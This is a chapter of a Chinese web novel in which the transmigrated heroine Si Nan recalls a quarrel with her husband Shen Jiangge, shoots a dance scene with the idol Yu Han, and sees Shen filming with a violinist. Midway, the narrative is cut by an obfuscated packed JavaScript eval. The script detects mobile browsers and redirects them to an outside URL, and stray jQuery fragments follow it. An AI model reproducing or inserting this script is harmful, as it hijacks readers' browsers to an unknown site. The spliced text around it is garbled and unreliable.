那场争吵到最后愈演愈烈。


    司南从没受过那么大的委屈，又生气又想哭，偏偏沈姜戈像个木头似的，不懂解释也不懂得哄人。


    司南那时还是个二十出头的小姑娘，不知道怎么遮掩情绪，越崩溃就越想爆发。


    她心头生了火，仿佛被某种毁灭一切的冲动攫住了，抓起手边的东西就往地上砸，没有任何目标，只是砸。


    破碎声此起彼伏，尖锐刺耳，直到最后一个花瓶被砸碎，她才像被抽走了骨头似的，软软坐在了地上。


    当时的客厅一片狼藉，如狂风过境。


    沈姜戈看着她将一切摧毁，沉默地捡起沙发上的外套，抖了抖灰尘。


    “我们都冷静一下。”他说，“这里已经不能住人了，明天我再叫人过来打扫。”


    他转身走向门口，鞋底踩过玻璃碎屑，发出令人牙酸的“咯吱”声。那声音像一把钝刀，反复切割着司南的神经。


    他离开了这里，没有再看司南一眼，也没有再看这满屋的废墟一眼。


    这是他们结婚以来的第一次大吵，用了三个月的时间才平息。赵一恪问她后续时，司南支支吾吾，简直不想回答：“……我们和好了。”


    “是误会吗？”


    她叹了口气：“我不知道。我找人查过钟清玉，没查出她跟沈姜戈有明面上的联系。查来查去，好像就是沈姜戈说的那样，只是把那套房子借给她住了一段时间。”


    “那你有没有查到她为什么要来借房子？”


    “没有，只查到了一些业内的风言风语。”司南想了想，“据说她得罪了某位资本大佬，要暂时避避风头。可能因为这个，所以才找上了沈姜戈。”


    她略去了很多细节，譬如钟清玉得罪的资本其实是金主。那人护了钟清玉两三年，之所以跟她闹掰，是因为她恃宠而骄，想要僭越上位，惹怒了那位已婚的大佬。


    不过传闻未经证实，司南不好跟赵一恪分享。但结合那本字字泣血的日记，她对这件事已经信了三分。


    司南觉得是自己没弄清楚就闹了脾气，于是主动跟沈姜戈服了软。好在他从未跟她动guo怒，这次不例外，所以他们光速和好了。


    那时司南以为他情绪稳定，怎么闹都不生气，心里还有些窃喜。后来她才知道，他对她的情绪无动于衷，其实只是不爱罢了。


    她的心动与惶然，欢喜或破碎，对他而言都是无足轻重的事。


    可惜当时的司南并不明白这个道理。


    其实她早该明白这个道理。


    小的时候，无论她再怎么努力，都没办法让父母疼爱自己，因为她生来就不是爱的结晶，只是联姻男女因利益而结合的产物。


    二十年后，命运重演。


    她真心爱着的人心有所属，用心经营的婚姻也狗尾续貂。更讽刺的是，她无法逃离这些假象。即使与父母关系僵硬，即使与沈姜戈形同陌路，她也不得不顶着“司鼎荣之女”、“沈姜戈之妻”的帽子在这个世界上生活。


    “人是一切社会关系的总和”。*


    可她总想逃离这些身份。


    所以，或许上天真的听到了她的祈祷，所以才让她穿越到这儿，成为了另一个“司南”吧。


    -


    那天过后，司南又去星云练了两天舞，学了两天表演，才终于等到了拍摄的日子。


    她提前来到拍摄现场，发现导演已经到了。


    “哎，那个女生，”导演叫住司南，“你是演什么的？”


    “演一个喜欢跳舞的女生。”


    “哦，那我先跟你讲讲戏吧。”导演拉着她坐下来，细细地说，“你的戏份不多，但是很重要。人设你已经知道了吧？平平无奇的高中少女，内向、自卑，却怀揣着热烈的舞蹈梦想。然而，父母不让她练舞，怕影响学习；同学嘲笑她练舞，觉得她痴人说梦。但少女始终没有放弃，每天都要找个角落偷偷练习。


    “而我们的主角，是喻寒饰演的校草。他的人设是舞蹈天才，帅气耀眼，走到哪儿都能吸引旁人的目光。他偶然发现你在独自练舞后，主动出来教你舞步，鼓励你追梦，还邀请你加入他们的社团。最终，自卑少女突破阴霾，明白了自由与勇敢的含义。”


    司南听完剧情后若有所思：“好，我明白了。”


    “明白了吧？那你先去做造型，喻寒晚点才到。”


    司南点点头，乖乖找化妆师去了。


    由于她的人设是高中生，所以造型非常简单，不一会儿就弄好了。


    她闲得无聊，便在拍摄场地逛了逛。


    这里是一所中学，场务布置了好几个点位，看上去是要拍不同场景的剧情。


    司南的镜头基本上在小树林里拍，主要拍男主教她练舞的动作。她看着那些摄影机和来往的工作人员，一开始还有些紧张，可随着时间的流逝，她的兴奋劲也慢慢地过了。


    趁主角还没来，她干脆走远了些，想看看其他场景的布置。走到教学楼下，她忽然听到了一阵悠扬的琴声。


    司南学过钢琴，因为这是她们这种家世的女孩子小时候的必修课。


    即使已经十几年没碰过钢琴，她也听得出，这个演奏者的技艺十分精湛。


    过了会儿，小提琴的声音也加入进来了。


    比起钢琴，这位小提琴演奏者的情绪显然更加饱满。两人的合奏非常融洽，像水融于水里，荡起层层柔波。


    司南循着声音走去，终于找到了琴房。


    她静静地站在窗外，看见里面也被布置成了拍摄现场。


    一个修长的身影坐在钢琴前，穿着剪裁完美的深灰色西装，双手在黑白琴键上飞快舞动。而他的身边是一袭白裙的明艳少女，正对着镜头演奏小提琴，气质高雅，如同神女降临。


    “嗡”的一声，司南的脑海中响起了前几天听过的广播内容——


    “你知道网上爆火的小提琴公主钟清玉回国了吗？”


    “听说她的男朋友沈姜戈也一起回来了。”


    “两人感情稳定得很，是不是要商议人生大事了？”


    原来，原来。


    她望着里面两个熟悉的身影，恍惚地想：他们这是拍广告，还是在拍婚纱照？


    “喂，外面的女生，不要围观了，会挡住我们的光！”


    摄影师驱赶的语气令司南陡然回神。


    她抬起头，目光直接对上了沈姜戈望过来的眼睛。可她来不及看他的反应，就在所有人的注视下飞快跑走了。


    她跑啊跑，跑啊跑，跑到胸口都开始疼痛，才跑回了自己的拍摄地。


    她失魂落魄地靠着树干，心里一团乱麻。


    “紧张吗？”突然，一个清朗带笑的声音在身侧响起。


    司南转过身，发现喻寒不知何时已经站在了那儿。他也穿着校服，脖子上挂着星星形状的吊坠，袖子挽起，整个人干净又帅气。


    作为顶流偶像，喻寒的长相和气质都是无可置疑的。他专注地看着她，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922438|175533||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    碎发下的桃花眼含着浅浅笑意：“马上就要拍摄了，会很紧张吗？”


    司南不置可否：“有一点。”


    “没关系，有什么不会的可以问我，”


    他这么说了，司南也没有当真。像她这种小虾米，难道还指望大明星来指导她不成？


    很快，拍摄开始了。


    她站在镜头前，故作笨拙地重复着几个基础舞蹈动作，转圈、扭腰、踢腿。她必须表现出那种带着未经雕琢的生涩，还要表现出眼里亮晶晶的渴望，像不灭的星火。


    可是，司南按要求做了好几遍，导演都喊了“卡”。


    他皱着眉说：“不对，感觉不对。你僵硬过头了，没有那种初学者摸索着入门的感觉。”


    这下，所有人的动作都停了下来。


    司南久违地体会到了什么叫手足无措。


    所有人都在等她，所有人都在看她的表现，可短时间内她根本无法调整，只能硬着头皮拍。


    万一……万一还是拍不好怎么办？那她的戏份是不是就完蛋了？


    “导演，我来教教她吧。”


    就在这时，旁观的喻寒走了过来。他对司南说：“没关系，你已经做得很棒了。”


    “怎么办怎么办，可是我还是不行。”司南像溺水之人抓住浮木般抓住了他的衣角。她心头慌乱，声音也变得特别软，“喻老师，你帮帮我。”


    “叫我喻寒就行。”他微笑，轻轻地握住了她抓着他衣角的手，“那几个动作，你要找准身上的发力点。比如转圈，重心往后放一点点会更稳。”


    他握着她的手，贴了贴她的腹部：“这里，要感觉到核心收紧。”


    喻寒松开了她，温和地鼓励她试试。司南按照他的提示试了一下，果然顺畅许多。


    “真的耶，谢谢你！”


    司南再次投入拍摄，这一次，她很顺利地就通过了。


    “卡！很好，司南，保持这种渴望又有点怯生生的感觉！”导演的声音透过喇叭传来。


    她松了口气，跑到旁边喝了口水，擦了擦额角渗出的汗珠。


    第二场戏是与喻寒的对手戏。她有些紧张，但喻寒告诉她：“别怕，跟着我的节奏走就行。”


    两人站在指定的位置摆好姿势，镜头推进，喻寒靠站在大树下，看着司南笨拙却执着的舞姿。


    他的眼神从最初的惊讶，到好奇，再到专注。突然，司南脚下打滑即将摔倒在地，喻寒一个箭步冲上前，稳稳扶住了她的手臂。


    “小心。”


    喻寒的声音低沉悦耳，掌心的温度隔着薄薄的布料传递到她的身上。司南浑身一僵。


    “好——眼神！对视！卡！”导演兴奋地喊，“就是这个感觉！休息一下，补妆！”


    听到这句话，司南如蒙大赦地舒了口气，这才发现自己手心全是汗。


    镜头已经关闭，喻寒却极其自然地抬起手，捻起她额角被汗湿的一缕碎发，轻轻别到了她的耳后。


    “司南，表现很棒。”


    “……谢谢。”


    司南不自在地侧了侧头，却看见场地外站着一个熟悉的身影。


    喻寒也顺着她的目光望过去，看见了那个气质卓然却面色不善的男生。他挑了挑眉，眼中闪过一丝了然和玩味，随即低头，语气里带着慵懒的笑意：“你认识他？”


    司南避开他的气息，扯起嘴角笑了笑。


    怎么不认识，这可是她死了八百年的老公，沈姜戈啊。